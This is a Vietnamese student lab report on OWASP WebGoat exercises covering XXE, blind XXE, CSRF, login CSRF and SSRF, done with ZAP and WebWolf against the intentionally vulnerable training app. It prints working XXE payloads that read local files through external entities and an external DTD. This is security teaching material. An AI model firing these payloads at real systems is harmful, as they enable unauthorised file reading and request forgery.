TH C Hành WebGoat

You might also like

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 47

TRƯỜNG ĐẠI HỌC SƯ PHẠM KỸ THUẬT TP.

HỒ CHÍ MINH
KHOA CÔNG NGHỆ THÔNG TIN
------oOo------

BÀI TẬP THỰC HÀNH MÔN HỌC


BẢO MẬT WEB

Bài: THỰC HÀNH (A5) SECURITY MISCONFIGURATION


& (A10) SERVER-SIDE REQUEST FORGERY

GVHD: ThS. Lê Thị Minh Châu


Mã môn học: WESE331479_23_2_02
Sinh viên thực hiện: Bùi Thị Xuân Lương
MSSV: 21142316

Thành phố Hồ Chí Minh, tháng 03, năm 2024


MỤC LỤC
A. (A5) Security Misconfiguration......................................................................2
a) XXE...........................................................................................................2
b) Modern REST framework.........................................................................7
c) Blind XXE assignment............................................................................11
B. (A10) Server-side Request Forgery..............................................................21
a) Cross-Site Request Forgeries..................................................................21
i. Basic Get CSRF Exercise..................................................................21
ii. Post a review on someone else’s behalf...........................................26
iii. CSRF and content-type...................................................................31
iv. Login CSRF attack..........................................................................36
b) Server-Side Request Forgery..................................................................41
i. Find and modify the request to display Jerry.....................................41
ii. Change the request...........................................................................43

1
A. (A5) Security Misconfiguration

a) XXE

Bước 1: Cài đặt breakpoint cho ZAP để bắt các request có header chứa phương
thức POST.

Bước 2: Nhấn “Submit”.

2
ZAP sẽ bắt request được gửi tới.

Bước 3: Mở Manual Request Editor để chỉnh sửa và kiểm tra response trước
khi gửi request đi.

3
Bước 4: Thực hiện sửa nội dung của request thành: <?xml version="1.0" ?><!
DOCTYPE comment [<!ENTITY xxe SYSTEM
"file:///C:/"> ]><comment><text>&xxe;</text></comment>. Sau đó chọn
nút “Send” để kiểm tra response của server.

4
Response được trả về có giá trị của thuộc tính “lessonCompleted” là true.

Bước 5: Thực hiện nhập đoạn mã vừa được kiểm tra vào trong nội dung của
request rồi thực hiện gửi đi.

5
Bài thực hành đã được hoàn thành.

6
b) Modern REST framework

Bước 1: Chọn “Submit”.

ZAP sẽ bắt request vừa được gửi.

7
Bước 2: Mở Manual Request Editor để chỉnh sửa và kiểm tra response trước
khi gửi request đi.

Bước 4: Thực hiện sửa nội dung của request thành: <?xml version="1.0" ?><!
DOCTYPE comment [<!ENTITY xxe SYSTEM
"file:///C:/"> ]><comment><text>&xxe;</text></comment>. Đồng thời
chỉnh sửa Content-Type trên request header từ “application/json” thành
“application/xml”. Sau đó chọn nút “Send” để kiểm tra response của server.

Response được trả về có giá trị của thuộc tính “lessonCompleted” là true.

8
Bước 4: Thực hiện nhập đoạn mã vừa được kiểm tra vào trong nội dung của
request rồi thực hiện gửi đi.

Bài thực hành đã được hoàn thành.

9
10
c) Blind XXE assignment

Bước 1: Tạo file attack.dtd với nội dung như dưới đây.

Bước 2: Đăng nhập vào WebWolf.

11
Bước 3: Tải file attack.dtd lên trang WebWolf.

12
Bước 4: Mở file attack.dtd có chứa mã độc trong một tab mới để lấy đường
dẫn.

13
Bước 5: Chọn “Submit”.

ZAP sẽ bắt request vừa được gửi đi.

14
Bước 6: Mở Manual Request Editor để chỉnh sửa và kiểm tra response trước
khi gửi request đi.

15
Bước 7: Thực hiện sửa nội dung của request thành:
<?xml version="1.0"?>
!DOCTYPE xxe [
<!ENTITY % file SYSTEM
"http://127.0.0.1:9090/WebWolf/files/xuanluong/attack1.dtd" >%file;]>
<comment>
<text>xuanluong Blind XXE assignment &xuanluong;</text>
</comment>.
Sau đó chọn nút “Send” để kiểm tra response của server.

16
Response được trả về có giá trị của thuộc tính “lessonCompleted” là false.
Nguyên nhân là vì ta đoạn nội dung ta nhập vào chưa phải là output cuối cùng
của bài thực hành, mà chỉ giúp lấy ra được kết quả.

Bước 8: Thực hiện nhập đoạn mã vừa được kiểm tra vào trong nội dung của
request rồi thực hiện gửi đi.

Bên WebGoat sẽ xuất hiện một comment mới.

17
Bước 9: Nhập đoạn văn bản “WebGoat 8.0 rocks... (kVTKslATxB)” vào ô
comment và chọn “Submit”.

18
Bài thực hành đã hoàn thành.

19
20
B. (A10) Server-side Request Forgery

a) Cross-Site Request Forgeries

i. Basic Get CSRF Exercise

Bước 1: Tạo một đoạn mã HTML như dưới đây.

Bước 2: Tải file này lên WebWolf.

21
Bước 3: Thực hiện mở file lên.

22
Bước 4: Chọn “Submit Query” và đăng nhập lại vào WebGoat.

Bước 5: Quay lại trang trước và chọn “Submit Query”.

23
Ta sẽ lấy được giá trị của flag.

Bước 6: Nhập flag vào WebGoat và chọn “Submit”.

24
25
ii. Post a review on someone else’s behalf

Bước 1: Ta truy cập vào đường link:


https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/
webgoat/lessons/csrf/ForgedReviews.java để tham khảo source code mà
WebGoat cung cấp cho bài thực hành này. Tại đây ta thấy được một đoạn mã là
“weakAntiCSRF”. Ta sẽ sử dụng đoạn mã này để thực hiện CSRF.

26
Bước 2: Tạo một đoạn mã HTML như dưới đây. Đoạn mã này sẽ tạo một trang
giả mạo trang review. Ta sẽ đưa giá trị “weakAntiCSRF” vào tag input với tên
tag là “validateReq”.

Bước 3: Đăng nhập vào WebWolf và vào trang Files để tải file HTML ở trên
lên.

27
Bước 4: Sau khi tải file lên thì ta sẽ mở file ở trong một tab mới.

28
Bước 5: Sau khi mở file, ta có được giao diện như dưới đây. Ta sẽ nhấp vào nút
“Submit Review”.

Sau khi submit, màn hình sẽ hiển thị thông báo đã hoàn thành bài thực hành.

29
30
iii. CSRF and content-type

Bước 1: Ta sẽ chuẩn bị một đoạn mã HTML như dưới đây.

Bước 2: Đăng nhập vào WebWolf và vào trang Files để tiến hành tải tệp lên.
Ta sẽ đưa tệp .htmll vừa được tạo ở trên lên WebWolf.

31
32
Bước 3: Sau khi tải file lên, ta sẽ mở file ở một tab mới.

Bước 4: Ta quay lại WebGoat và nhập các thông tin vào form và nhấp “Send
Message”. Lúc này, ta nhận thấy rằng mình không thể gửi form.

33
Bước 5: Ta quay trở lại file HTML mà ta vừa mở ra. Chọn nút “Submit
Query”.

Màn hình sẽ hiển thị thông báo đã hoàn thành bài thực hành.

34
Bước 6: Ta tiến hành lấy giá trị của flag và nhập vào ô “Confirm Flag Value”.
Sau đó chọn “Submit”.

Bài thực hành đã được hoàn thành.

35
iv. Login CSRF attack

Bước 1: Ta sẽ tiếng hành tạo một tài khoản mới với tên là “csrf-” + tên
username chính. Ví dụ: username hiện tại trong bài này là “xuanluong” => tạo
tài khoản mới với username là “csrf-xuanluong”.

36
Bước 2: Chuẩn bị một đoạn mã HTML như dưới đây. Username và password
được lấy giá trị từ tài khoản ta vừa tạo.

Bước 3: Ta mở tệp .html này tại một tab mới. Ta sẽ thấy được giao diện như
hình dưới đây.

37
Bước 4: Ta nhấn vào “Sign in”. Sau đó ta sẽ thấy rằng mình đã được đăng nhập
vào WebGoat bằng tài khoản mà ta vừa mới tạo.

Bước 5: Ta quay trở lại trang WebGoat đang được đăng nhập bằng tài khoản
chính. Sau đó, ta nhấn vào nút “Solved!”.

38
Bài thực hành đã được hoàn thành.

39
40
b) Server-Side Request Forgery

i. Find and modify the request to display Jerry

Bước 1: Ta chuột phải vào nút “Steal the Cheese” và mở Inspect cảu nút ra.

Bước 2: Ta sẽ tìm phần tử có chứa đường dẫn đến file “tom.png”.

41
Bước 3: Ta sẽ thay tên file từ “tom” sang “jerry” để hiển thị hình ảnh của chuột
Jerry.

Bước 4: Ta nhấn nút “Steal the Cheese”. Lúc này, ta sẽ thấy hình ảnh của chú
chuột Jerry được hiển thị. Bài thực hành đã được hoàn thành.

42
ii. Change the request

Bước 1: Ta chuột phải vào nút “try this” và mở Inspect của nút ra.

43
Bước 2: Ta sẽ tìm phần tử có chứa đường dẫn đến file “cat.png”.

Bước 3: Ta sẽ thay thế đường dẫn của hình ảnh thành đường link mà WebGoat
đã cung cấp.

44
Bước 4: Ta nhấn nút “try this”. Ta sẽ thấy được có thông số cấu hình của giao
tiếp với IP là 116.110.41.129. Bài thực hành đã được hoàn thành.

45
46

You might also like